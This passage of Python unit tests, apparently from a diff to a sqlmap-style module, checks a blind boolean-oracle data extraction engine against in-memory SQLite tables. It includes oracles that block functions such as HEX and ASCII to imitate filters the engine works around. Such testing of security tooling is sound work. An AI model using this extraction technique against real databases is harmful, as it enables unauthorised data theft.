con.create_function("UNICODE", 1, lambda s: (ord(s[0]) if s and ord(s[0]) < 128 else None))
def make(block_hex):
pat = r"\bASCII\(|\bORD\(" + (r"|RAWTOHEX|\bHEX\(|ENCODE\(" if block_hex else "")
blk = re.compile(pat, re.I)
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except Exception:
return False
return ask
with_hex = Esperanto(make(False)); with_hex.discover()
r = with_hex.extractResult("(SELECT v FROM t)")
self.assertEqual(r.value, u"café-€", "hex escalation failed to recover _REPL value: %r" % r.value)
no_hex = Esperanto(make(True)); no_hex.discover()
r2 = no_hex.extractResult("(SELECT v FROM t)")
self.assertFalse(r2.complete, "no-hex _REPL value must stay incomplete, got complete: %r" % r2.value)
def test_keyset_cycle_detection(self):
# Round 8 (keyset): paging and read-back can resolve under different collations, so the
# walk can revisit an earlier name (f,e,f,e...). Full cycle detection (not just the
# immediate predecessor) must stop with a partial, de-duplicated list, never loop.
esp = Esperanto(lambda c: True) # _keysetWalk only, no discovery
seq = iter(["f", "e", "f", "e", "f"])
class _R(object):
def __init__(self, v):
self.value, self.complete, self.exact, self.is_null = v, True, True, False
esp.extractResult = lambda *a, **k: _R(next(seq))
esp._ask = lambda c: True
esp._beyondSql = lambda *a, **k: "1=1"
names = esp._keysetWalk("name", "cat", "", 10)
self.assertEqual(names, ["f", "e"], "cycle not detected/deduped: %r" % names)
def test_terminal_sanitized(self):
from extra.esperanto.__main__ import _safeterm
self.assertEqual(_safeterm(u"ok"), u"ok")
self.assertEqual(_safeterm(u"a\x1b[2Jb"), u"a\\x1b[2Jb") # ANSI clear-screen neutralized
self.assertEqual(_safeterm(u"x\ny"), u"x\\x0ay") # embedded newline neutralized
def test_comparator_rejects_gte_rewrite(self):
# a '>' -> '>=' rewrite passes 2>1 / !2>3 but FAILS the equality boundary (2>2 must be
# False). the full truth table must reject 'gt' (and fall to BETWEEN) so counts/lengths
# aren't read off-by-one. reproduced: extractInteger('5',max=10) used to return 6.
con = sqlite3.connect(":memory:")
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond.replace(">", ">=")).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask)
esp.discover()
self.assertNotEqual(esp._comparator, "gt", "'>'->'>=' rewrite wrongly accepted as gt")
self.assertEqual(esp.extractInteger("(5)", maximum=10), 5)
def test_exact_requires_byte_witness(self):
# without a proven hex/binary witness (or code-codepoint), a value is WHOLE_BUT_AMBIGUOUS,
# never EXACT - plain '=' is collation-dependent and can't certify byte-exactness.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES ('Zz')")
con.commit()
blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|GLOB|COLLATE|BLOB|BINARY")
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
r = esp.extractResult("(SELECT v FROM t)")
if esp._byteFaithful():
self.skipTest("dialect still has a byte-faithful primitive")
self.assertEqual(r.value, "Zz")
self.assertFalse(r.exact, "value marked exact without a byte-faithful witness: %r" % r)
def test_extractresult_no_contradiction(self):
# a hard defect (incomplete/truncated) is classified before null-exactness
from extra.esperanto import ExtractResult, Integrity
self.assertEqual(ExtractResult(None, is_null=True, complete=False).integrity, Integrity.FAILED)
self.assertEqual(ExtractResult(None, is_null=True, complete=True).integrity, Integrity.EXACT)
self.assertFalse(ExtractResult(None, is_null=True, complete=False).exact)
def test_host_maxlen_zero(self):
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES ('abcdef')")
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask)
esp.discover()
r = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)", maxlen=0)
self.assertEqual(r.value, "")
self.assertTrue(r.truncated and not r.complete)
def test_between_overflow_magnitude(self):
# a positive value beyond BETWEEN's global ceiling fails closed WITHOUT claiming "below
# minimum" (the direction is genuinely unknown to a bounded range predicate)
esp = Esperanto(_oracle())
esp.discover()
esp._comparator = "between"
try:
esp.extractInteger("(%d)" % ((1 << 62) + 5))
self.fail("expected OverflowError")
except OverflowError as ex:
self.assertNotIn("below minimum", str(ex))
def test_integrity_semantics(self):
# `complete` (walk finished) must be distinct from `exact` (bytes proven identical).
# a case-insensitive collation recovers a WHOLE value that is NOT exact.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES ('A')")
con.commit()
blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|GLOB|COLLATE|BLOB")
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s COLLATE NOCASE) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
self.assertEqual(esp.dialect.compare, "equality-ci")
r = esp.extractResult(EXPR.replace("v FROM t", "v FROM t"))
self.assertTrue(r.complete, "case-ci value should be WHOLE: %r" % r)
self.assertFalse(r.exact, "case-ci value must NOT be exact: %r" % r)
self.assertEqual(r.integrity, Integrity.WHOLE_BUT_AMBIGUOUS)
def test_hostextract_structured_and_tristate(self):
# hostExtract returns an ExtractResult: a bounded read is TRUNCATED (not a bare string),
# and an undecided (None) host observation degrades to a FAILED result, never a fake bit.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES ('abcdef')")
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
strat = esp.strategy()
r = hostExtract(ask, strat, "(SELECT v FROM t)", maxlen=3)
self.assertEqual(r.value, "abc")
self.assertTrue(r.truncated and not r.exact and r.integrity == Integrity.TRUNCATED)
undecided = hostExtract(lambda c: None, strat, "(SELECT v FROM t)")
self.assertTrue(undecided.value is None and not undecided.complete)
def test_between_overflow_direction(self):
# a positive value above the cap in BETWEEN mode must report ABOVE maximum (not below)
esp = Esperanto(_oracle())
esp.discover()
esp._comparator = "between"
try:
esp.extractInteger("(100)", maximum=10)
self.fail("expected OverflowError")
except OverflowError as ex:
self.assertIn("exceeds maximum", str(ex))
def test_key_uniqueness_gate(self):
# #2: a keyset ordering column MUST be single-column unique + non-NULL. a composite
# key's first column repeats -> `> prev` paging silently drops rows sharing it, so it
# must be REJECTED (COUNT(*) != COUNT(DISTINCT col)); only a unique column is accepted.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE k (a INT, b INT, u INT, nul INT)")
con.executemany("INSERT INTO k VALUES (?,?,?,?)", [(1, 1, 10, 1), (1, 2, 20, None), (2, 1, 30, 3)])
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except Exception:
return False
esp = Esperanto(ask)
esp.discover()
self.assertFalse(esp._keyIsUnique("a", "k"), "non-unique composite-first column accepted")
self.assertFalse(esp._keyIsUnique("nul", "k"), "nullable column accepted as key")
self.assertTrue(esp._keyIsUnique("u", "k"), "unique non-null column rejected")
def test_fixup_length(self):
# a trailing-space-trimming length fn is rebuilt as LEN(x||'.')-1
esp = Esperanto(_oracle(u"x"))
@ -354,7 +780,9 @@ class TestEsperanto(unittest.TestCase):
esp.discover()
strat = esp.strategy()
self.assertRaises(AttributeError, setattr, strat, "compare_mode", "x")
self.assertEqual(hostExtract(ask, strat, "(SELECT v FROM k)"), "Str4t3gy!")
hr = hostExtract(ask, strat, "(SELECT v FROM k)")
self.assertEqual(hr.value, "Str4t3gy!")
self.assertTrue(hr.exact)
self.assertTrue(strat.asQueriesRow()["substring"])
def test_pattern_match_fallback(self):